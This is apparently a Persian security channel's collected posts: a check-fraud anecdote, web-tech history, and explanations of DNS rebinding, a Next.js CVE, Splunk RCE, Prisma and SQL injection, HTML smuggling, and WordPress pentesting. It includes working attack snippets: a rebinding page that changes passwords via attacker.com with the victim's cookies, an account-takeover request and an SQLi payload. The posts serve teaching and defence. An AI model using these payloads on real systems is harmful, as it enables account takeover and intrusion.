دوستان با فردی برید تو رابطه که سهام عدالت داشته باشه

یه مطلبی میخوام بگم ربطی هم به موضوعات چنل نداره ولی خوب

اقا امشب یه جنسی میخواستم به یه نفر بفروشم که برای هزینش میخواس چک بده
فرایند کلا پاس شدن چک اینطوریه که شناسه چک رو تویه همراه بانک باید وارد کنی و بعد تایید کنی که اقا این چک رو از این شخص گرفتی (فرایند چک صیادی)

این اقای محترم چیکار کرده بود ؟ اول اینکه چکی که فرستاده بود تاریخش که به فارسی بود رو اشتباه نوشته بود و خیلی شانسی دیدم که مال سه سال پیشه(خیلی ناخوانا و بد جا نوشته بود) ولی تاریخ به عدد درست بود.

موضوع مهم ترش اینه که وقتی رفتم که تایید کنم چک رو تویه همراه بانک اصلا چکی ثبت نشده بود و وقتی بهش گفتم اصرار کرد که ثبت کردم و سندش رو واست فرستادم.
وقتی سندش رو دیدم کلا شناسه چک ها فرق میکرد . شک کردم که نکنه سند جعلی فرستاده . رفتم شناسه رو تویه همراه بانک چک کردم و دیدم بله ایشون واقعا چنین چکی به اسم من ثبت کرده ولییی اصلا اون چکه دست من نیسسس(که شانس اوردم تایید نکردم چکووو) . ممکنه بپرسید چی میشد وقتی چک رو به نامت ثبت کرده ولی خود لاشه چک پیشت نیس؟ نکته اینجاس که اگه کار به شکایت میرسید ایشون میگفت اقای قاضی ببین من چک رو ثبت کردم و ایشون خودش چک رو گم کرده و ...
و حالا من می ماندم و پوسته گردو

خلاصه که به کسی اعتماد صد در صد نکنید و هیچوقت تویه رو در بایستی (نمیدونم چطوری نوشته میشه) گیر نکنید

عیدتونم پیش پیش مبارک ❤️✨️

این آسیب پذیری بیشتر تو مدرن اپلیکیشن ها رخ میده
توی SPA ها موقعی که دولوپر بخواد یه درخواست api بزنه و auth token یوزر رو هم تو اون درخواست بفرسته میاد از fetch یا xhr استفاده میکنه
بعد اینجا دولوپر باید حواسش باشه, موقعی این آسیب پذیری رخ میده که input یوزر بدون کنترل شدن بره تو مسیر درخواست اون api بشینه
مثلا ما این مسیر رو توی ui اون SPA باز میکنیم

/profile?id=12345

بعد موقعی که dom پارس میشه و کد دولوپر ران میشه
اون میاد یه درخواست به api اینجوری میزنه

/api/v1/users/12345

و توی ریکویست میبینیم هدر authorization و حتی csrf token هم وجود داره چون دولوپر یه fetch زده و این توکن هارو هم تو درخواست گذاشته
حالا اگه این id که اینپوت یوزر هست درست سنیتایز نشه ما میتونیم تو مسیر api بریم عقب و به هر مسیری که خواستیم درخواست authenticate شده بفرستیم و معمولا csrf میزنن

مسیر پیشرفت تکنولوژی در توسعه وب

داشتم در موردش می‌خوندم چیزای جالبی داشت.

ایده اصلی تکنولوژی‌های قدیمی همچنان در حال تغییر هستن و فناوری‌های جدید جایگزین آن‌ها میشن. اوایل وب‌سایت‌ها مجموعه‌ای از فناوری‌ها به اسم LAMP استفاده می‌کردن:

- Linux (سیستم‌عامل)
- Apache (وب‌سرور)
- MySQL (پایگاه‌داده)
-PHP

اما یه مشکلی که پیش اومد این بود که PHP به‌صورت سنتی فرآیندهای همزمان (Asynchronous) را پشتیبانی نمی‌کنه و همچنین، Apache به ازای هر درخواست یک پردازش (Process) جدید باز می‌کنه که در حجم بالا باعث کندی سرور می‌شه. همچنین MySQL نمی‌تونه داده‌های غیرساختاریافته (مثل JSON و XML) ذخیره کنه.

حالا اومدن از MEAN و MERN استفاده می‌کنن:

MEAN = MongoDB + Express.js + Angular + Node.js
یا
MERN = MongoDB + Express.js + React + Node.js

JavaScript
در تمام قسمت‌های برنامه استفاده می‌شه (هم در فرانت‌اند، هم در بک‌اند).
MongoDB
به‌عنوان پایگاه داده‌ی NoSQL داده‌ها را سریع‌تر و راحت‌تر مدیریت می‌کنه.
Express.js و Node.js باعث اجرای سریع‌تر و کم‌مصرف‌تر سرور می‌شن.

و SPA اومد باعث می‌شه که سایت‌ها سریع‌تر بشن. SPA (Single Page Application) یعنی یک وب‌سایت که فقط یک صفحه داره و محتوا به‌صورت دینامیک و بدون بارگذاری مجدد صفحه تغییر می‌کنه.

و همین‌طورCloud و DevOps آمدند تا مدیریت سرورها را آسان‌تر کنند.
مثلا Cloud Computing (رایانش ابری) به جای اینکه خودمون سرورهای فیزیکی را مدیریت کنیم، شرکت‌های ابری مثل AWS، Google Cloud، و Azure این کار را برای ما انجام می‌دن و DevOps (مخفف Development Operations) یعنی توسعه‌دهندگان و تیم عملیات با هم کار کنند تا برنامه‌ها سریع‌تر و بهتر اجرا بشن .


و در نهایت Serverless Architecture اومدن که نیاز به مدیریت سرور از بین بره.
در گذشته، وقتی می‌خواستین برنامه‌ای اجرا کنین، باید یک سرور اجاره می‌کردین و همیشه آن را روشن نگه می‌داشتین. اما در معماری Serverless، شما فقط کد می‌نویسید و شرکت‌های ابری (مثل AWS یا Google Cloud) خودشان اجرای آن را مدیریت می‌کنن.

CVE-2025-29927 – Next.js Middleware Authorization Bypass
*
CVSS 9.8
*
WriteUp

DNS Rebinding

در حمله DNS Rebinding، کاربر لاگین شده توی example.com که یک سرور داخلی هم داره، می‌خواد وارد وب‌سایت attacker.com بشه. حالا مرورگر درخواست DNS می‌ده و باید attacker.com رو resolve کنه به یه IP معتبر. مهاجم TTL رو کم می‌زاره که مرورگر مجبور بشه دوباره attacker.com رو resolve کنه.

اینطوری resolve می‌شن:

- attacker.com → 1.2.3.4 (IP public)
- attacker.com → 192.168.1.1 (سرور داخلی)

بعد چند ثانیه، attacker.com به یه IP داخلی resolve می‌شه و مرورگر فکر می‌کنه که هنوز داره با attacker.com کار می‌کنه در صورتی که به سرور داخلی example.com داره اشاره می‌کنه. این ممکنه به خاطر DNS caching باشه یا مرورگر وقتی درخواست HTTP یا جاوا اسکریپت رو اجرا می‌کنه، فقط نگاه می‌کنه که نام دامنه (attacker.com) تغییری نکرده باشه. از نظر مرورگر، همچنان attacker.com در حال اجراست، فقط IP پشت این نام عوض شده (که چیزی غیرعادی نیست!). و چون same-origin هنوز معتبره، جاوا اسکریپت مخرب توی attacker.com می‌تونه به اطلاعات سرور داخلی example.com دسترسی داشته باشه و درخواست‌های مخرب ارسال کنه.

مثلاً اگه درخواست به سرور داخلی (internal_server) از طریق example.com با کوکی هندل شده باشه، می‌شه چنین کاری انجام داد:

<!DOCTYPE html>
<html>
<head>
    <title>DNS Rebinding Attack</title>
</head>
<body>
    <h1>Loading...</h1>
    <script>
        async function hack() {
            try {
                console.log(" Waiting for DNS change...");
                await new Promise(resolve => setTimeout(resolve, 5000)); // Wait for DNS change

                console.log(" Sending request to victim's router...");
                const response = await fetch("http://attacker.com/change-password", {
                    method: "POST",
                    body: JSON.stringify({ newPassword: "hacked" }),
                    headers: { "Content-Type": "application/json" },
                    credentials: "include" // Send victim's authentication cookies!
                });

                const data = await response.text();
                console.log(" hacked!", data);
            } catch (error) {
                console.error("Failed to hack :", error);
            }
        }

        hack();
    </script>
</body>
</html>

مثلاً توی این کد بعد مدت ۵ ثانیه، دوباره attacker.com باید resolve بشه و حالا به سرور داخلی example.com اشاره می‌کنه که یه درخواستی ارسال می‌کنه که کوکی‌های کاربر هم داخلش هست و می‌تونه پسورد کاربر رو عوض کنه.

مثلا تویه این کد فقط یه بار چک میکنه ip رو و درخواست رو ارسال میکنه که میتونیم بعدش یه ip دیگه resolve کنیم براش

سلام به همه دوستان امنیتی! 🌍✨

در هفته 45 از برنامه GO-TO CVE، به بررسی یک آسیب‌پذیری خطرناک در Next.js می‌پردازیم که باعث دور زدن احراز هویت در برخی از مسیرها می‌شود! 🚨

📱 Week: 45
🔍 CVE: CVE-2025-29927
💻 Type: 🔓 Authorization Bypass
🛠 Framework: Next.js 15.0.3

🔴 مشکل کجاست؟
در نسخه‌های آسیب‌پذیر Next.js، مشکل در Middleware باعث می‌شود که مهاجم بتواند سیاست‌های احراز هویت و محدودیت‌های امنیتی را دور بزند. این ضعف امنیتی به مهاجمان امکان می‌دهد تا بدون احراز هویت، به مسیرهای حساس و داده‌های محافظت‌شده دسترسی پیدا کنند.

⚠️ چرا این آسیب‌پذیری مهم است؟
✅ امکان دسترسی غیرمجاز به APIهای حساس و داده‌های کاربران
✅ سوءاستفاده برای استخراج اطلاعات کاربران و اجرای حملات CSRF یا SSRF
✅ قابل ترکیب با Cache-Poisoning برای از کار انداختن برخی صفحات سایت
✅ خطر افشای اطلاعات در سرویس‌های مبتنی بر Edge Functions و CDN


📢 برای اطلاعات بیشتر و راهکارهای امنیتی، با ما همراه باشید!
🔗 پیوستن به کانال تلگرام: https://t.me/GOTOCVE
#week_45

خب Splunk یه نرم افزار برای تحلیل و مدیریت لاگ هاست که خب از لاگ ها هم برای نظارت بر سیستم ها استفاده می‌شه.
آسیب پذیری که روش پیدا شده یه کاربر معمولی با سطح دسترسی پایین میتونه رویه Splunk کد اجرا کنه.
چطوری این اتفاق میوفته؟
فرض کنید Splunk مثل یک کتابخانه بزرگ هس که اطلاعات را ذخیره و مدیریت می‌کنه. تویه این کتابخانه، یک بخش خاص به نام

$SPLUNK_HOME/var/run/splunk/apptemp 

وجود دارد که کاربران می‌تونن یه سری فایل‌ ها رو اونجا آپلود کنن.حالا تویه نسخه قدیمی این آسیب پذیری به وجود اومده و به درستی این مسیر قفل نشده

مثلا یک کاربر معمولی (که مدیر نیس) و فقط دسترسی به این مسیر داره (مثلا یه نفر که میخواد یه سری فایل CSV تویه Splunk ذخیره کنه تا بقیه افراد تحلیل کنن) می‌تونه یک فایل مخرب (مثلاً یک اسکریپت) رو تویه این مسیر آپلود کنه و میشه باهاش RCE گرفت.

جوابش:

این کد ابتدا با استفاده از findUnique بررسی می‌کنه که آیا کاربری با email و resetToken مشخص‌شده وجود داره یا نه.

تویه این کد مشکل اینجاس که توکن مستقیم تویه ورودی برای resetToken قرار میگیره و اصلا بررسی نمیشه که یه رشته هس یا یه object که میتونه اون object ها جزو عملگر های Prisma باشه.(Prisma یه orm هس)

این کد اکسپلویتش هست :

POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "email": "victim@example.com",
  "token": { "not": null },
  "newPassword": "hacked"
}

که حالا میتونیم با not:null از شرط بیایم بیرون به این صورت بررسی میشه :

const user = await prisma.user.findUnique({
  where: { email: "victim@example.com", resetToken: { not: null } },
});

و یه account takeover رخ میده

از وقتی این گوگل مپ اومد کاسبی ما تو آدرس دادن راکد شد

منبع : X

کد، آسیب‌پذیری SQLi داره و کد مشکل‌سازش اینجاست که:

cursor.execute(
    f"INSERT INTO otp_codes (phone_number, otp) VALUES ('{phone_number}', '{otp}')"
)

که مث همیشه مشکل اینجاس ورودی کاربر (phone_number) مستقیم تویه کوئری قرار می‌گیره و حالا میشه پیلودهای مختلفی تست کرد.
مثلا این:

{
  "phone_number": "' OR '1'='1"
}

کد امن یه چنین چیزی میشه مثلا:

@app.route('/send-otp', methods=['POST'])
def send_otp():
    try:
        phone_number = request.get_json().get("phone_number")
        if not phonenumbers.is_valid_number(phonenumbers.parse(f"+{phone_number}", None)):
            return jsonify({"error": "Invalid phone number"}), 400
        
        if len(phone_number) > 15:
            return jsonify({"error": "Phone number too long"}), 400

        otp = random.randint(100000, 999999)

        conn = mysql.connector.connect(**DB_CONFIG)
        with conn.cursor() as cursor:
            cursor.execute(
                "INSERT INTO otp_codes (phone_number, otp) VALUES (%s, %s)",
                (phone_number, str(otp))
            )
        conn.commit()
        conn.close()

        send_otp_code(phone_number)  # Function to send SMS
        return jsonify({"message": "OTP code has been sent successfully"}), 200

    except:
        return jsonify({"error": "Something went wrong"}), 500

که اینجا به جای f-string از placeholderهای %s توی کوئری استفاده کردم و همینطور مقادیر phone_number و otp رو جداگونه توی یه تاپل جدید می‌فرستیم.
این روش باعث می‌شه ورودی کاربر به‌عنوان دیتا (نه کد SQL) پردازش بشه و جلوی SQLi رو بگیره.

این اسیب تکنیکی است که در آن داده‌ها یا فایل‌ها به صورت پنهانی داخل فایل‌های HTML جاسازی می‌شوند. این داده‌ها معمولاً به صورت Base64 encoded وارد می‌شوند تا از فیلترهای امنیتی عبور کنند. وقتی کاربر فایل HTML را باز می‌کند، داده‌ها به طور خودکار بارگذاری و اجرا می‌شوند. گروه‌های هکری مانند APT29 از این تکنیک برای دور زدن سیستم‌های تشخیص نفوذ و آنتی‌ویروس‌ها استفاده می‌کنند. این حملات معمولاً فایل‌های مخفی در داخل اسناد HTML دارند که در ظاهر هیچ تهدیدی به نظر نمی‌رسند، اما در پس‌زمینه عملیات مخرب انجام می‌دهند. برای جلوگیری از آن، فیلتر کردن داده‌های رمزگذاری‌شده و بررسی دقیق فایل‌ها در محیط‌های ایزوله مهم است.

https://attack.mitre.org/techniques/T1027/006/

شما میتوانید با کد زیر این اسیب پذیری را تست کنید .

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>HTML Smuggling Example</title>
</head>
<body>
    <h1>HTML Smuggling </h1>
    <p>Click the button below to download the file with the hidden payload:</p>
    <button onclick="downloadPayload()">Download Payload</button>

    <script>
        // Convert Base64 payload to ArrayBuffer
        function base64ToArrayBuffer(base64) {
            const binaryString = atob(base64); // Decode the Base64 string
            const len = binaryString.length;
            const bytes = new Uint8Array(len);
            for (let i = 0; i < len; i++) {
                bytes[i] = binaryString.charCodeAt(i); // Convert each character to its ASCII value
            }
            return bytes.buffer; // Return ArrayBuffer
        }

        // Function to trigger download of payload
        function downloadPayload() {
            const base64Payload = 'aGkgR08tVE8gQ1ZFCg=='; // Base64 encoded payload (hidden content)

            if (base64Payload.trim() !== '') {
                // Convert the Base64 payload to ArrayBuffer
                const data = base64ToArrayBuffer(base64Payload);
                const blob = new Blob([data], { type: 'application/octet-stream' }); // Create a Blob object with the payload

                const fileName = 'payload.txt'; // Name of the file to be downloaded

                // Check for IE/Edge and use msSaveOrOpenBlob for compatibility
                if (window.navigator.msSaveOrOpenBlob) {
                    window.navigator.msSaveOrOpenBlob(blob, fileName);
                } else {
                    // For other browsers, create a downloadable link
                    const a = document.createElement('a');
                    a.style.display = 'none'; // Hide the link element
                    document.body.appendChild(a);
                    const url = window.URL.createObjectURL(blob); // Create an object URL for the Blob
                    a.href = url;
                    a.download = fileName; // Set the download attribute with the file name
                    a.click(); // Trigger the download
                    window.URL.revokeObjectURL(url); // Revoke the object URL to release memory
                    document.body.removeChild(a); // Remove the link element from the DOM
                }
            } else {
                console.error('No Base64 payload found!');
            }
        }
    </script>
</body>
</html>

کلا HTML Smuggling یه روش هس برای دور زدن فایروال و waf و IDS و ...

به چند روش می‌تونن دور بزنن مثلا داده مخرب رو به صورت رمز شده تویه یه فایل HTML قرار بدن یا پیلود ها رو تقسیم کنن مثلا داده مخرب رو تویه چند قسمت از فایل قرار بدن یا استفاده از جاوااسکریپت مبهم (Obfuscation) که کد جاوااسکریپت رو طوری تغییر می‌دن که قابل خوندن نباشه (مثلاً با متغیرهای تصادفی یا فشرده‌سازی) مثلاً به جای atob() از روش‌های غیرمستقیم (مثلا یه تابع دست ساز یا متغییر تصادفی) برای رمزگشایی استفاده می‌کنن

حالا مثلا اتکر میاد یه سری داده مخرب (مثلا یه اسکریپت مخرب) رو به صورت رمز شده(معمولا base64) داخل یه فایل HTML جاسازی میکنه. این فایل به ظاهر بی خطره ولی مثل کد بالا ، کاربر رویه لینک کلیک میکنه ، دیتا ها به صورت خودکار رمزگشایی و به صورت یه فایل دانلود میشن

آغاز ثبت‌نام مسابقه فتح پرچم مازآپا

🗓 زمان ثبت‌نام از ۲۵ فروردین ماه تا ۱۶ اردیبهشت ماه

🔥 مسابقه به صورت غیرحضوری در ۱۸ اردیبهشت ماه برگزار می‌شود.

🎁جوایز

1️⃣ تیم اول : 100 میلیون تومان‌

2️⃣ تیم دوم : 70 میلیون تومان

3️⃣ تیم سوم: 50 میلیون تومان


برای ثبت نام به https://mazapa.ir مراجعه فرمایید.

منتظر حضور گرم شما در این رویداد هستیم 😎

📌 مرکز تخصصی آپا دانشگاه صنعتی اصفهان
📌 با حمایت شرکت فولاد مبارکه اصفهان

#رویداد_CTF

@APA_IUTCERT

متودولوژی تست نفوذ وردپرس =

1. با wpscan تارگت رو اسکن کنین و هر آسیب پذیری که نشون میده رو سعی کنین اکسپلویت کنین(میتونه یه misconfig یا یه CVE باشه). حتما apikey رایگانشو از سایتش بگیرین که نتیجش با اسکن خالی فرق میکنه.
2. ممکنه nuclei موردی رو پیدا کنه که wpscan قادر به شناساییش نبوده. پس حتما از Nuclei هم استفاده کنین.

تا اینجا اسکن کلا با ابزار بود. ولی بررسی دستی چطور؟
بخاطر CMS بودن تارگت انجام یه سری کارا میتونه وقت تلف کردن باشه و باید سعی کنیم از وقتمون بهینه استفاده کنیم. این نکات میتونه بهتون کمک کنه :

1. اگه CVEای برای خود وردپرس یا پلاگین های معروفش پیدا نکردین سعی نکنین خودتون باگ جدید پیدا کنین. نمونش تلاش برای دسترسی به پنل ادمین.
2. اگه تارگت از یه پلاگین ناشناخته ای استفاده میکنه سعی کنین روش باگ بزنین. بهتره اون پلاگین رو روی لوکال خودتون بررسی کنین که WAF و..... مزاحمت ایجاد نکنه.
3. کارایی مثل spray and pray کردن 99 درصد مواقع بی نتیجه خواهد بود.

حالا چه جاهایی رو تست کنین(اینارو بدون در نظر گرفتن ورژن وردپرس و پلاگین هاش تست کنین)؟

1. جاهایی که تارگت با یک 3rd party در تعامله مثل درگاه پرداخت! برای مثال میتونین race condition رو تست کنین.
2. قسمت تیکت: هر آسیب پذیری که بلدید رو اینجا تست کنین مثل XSS با PDF و‌ .......
3. rate limit bypass.
4. قسمت آپلود عکس پروفایل.
5. آسیب پذیری های low مثل BLH و browser cache weaknesses و.....
6. پیدا کردن فایل های backup: میتونین از waybackurl استفاده کنین یا خودتون مسیر /wp-content/uploads رو فاز کنین با اکستنشن هایی مثل .zip و....
7. 403 Bypass.
8. فاز روی / : ممکنه فایلی مثل phpinfo.php باز باشه منتها با یه اسم دیگه که با فاز کردن میشه پیداش کرد.

#WordPress
#Methodology

یه بحث جالب وقتی که میخوایم یه پستی که توسط کاربر ساخته شده یا خودمون از یه منبعی میخوایم پست بزاریم داخل سایت

وقتی ما از یه سایت یه محتوایی رو نشون میدیم یا پست یه کاربر رو میخوایم داخل Home سایت نشون بدیم (مثلا بیایم پست کاربر هارو تویه یه iframe قرار بدیم و نشون بدیم) میشه برای جلوگیری از xss بیایم و از sandbox استفاده کنیم .
اینطوری کار میکنه :

 <iframe sandbox=" allow forms  ... " src="example.com" 

حالا اگه attacker خواست یه با یه اسکریپت xss اجرا کنه جلوش گرفته میشه و نمیزاره اپلود کنه(چون allow-script نداره)( ولی این کار به تنهایی کافی نیس باید ورودی ها sanitization بشن) و نه می‌تونه به کوکی‌های تو دست بزنه، نه popup باز کنه و ...

بعضی وقتا هم هس که خودمون میخوایم یه دیتا استاتیک(برای محتوای داینامیک جواب نمیده ) رو اپلود کنیم ولی مسئله ای که پیش میاد نکنه بعدا جایی که ازش دیتایی گذاشتیم تغییر کنه و الوده بشه
مثلا زمانی که میخوایم یه jQuery رو که رویه cdn.com هاست شده استفاده کنیم .
میتونیم با استفاده از integrity تویه <script> جلو این اتفاق رو بگیریم
روش کارشم اینطوریه یه هش از دیتا میگیره و بعدا اگه دیتا تغییر کرده باشه خب هش هم عوض میشه و اگه هش الان با قبلی یکی نباشه دیگه دیتا نشون داده نمیشه مثلا:

<script src="https://cdn.com" integrity="sha256-abcd123...."></script>

به این حمله میگن supply chain attack .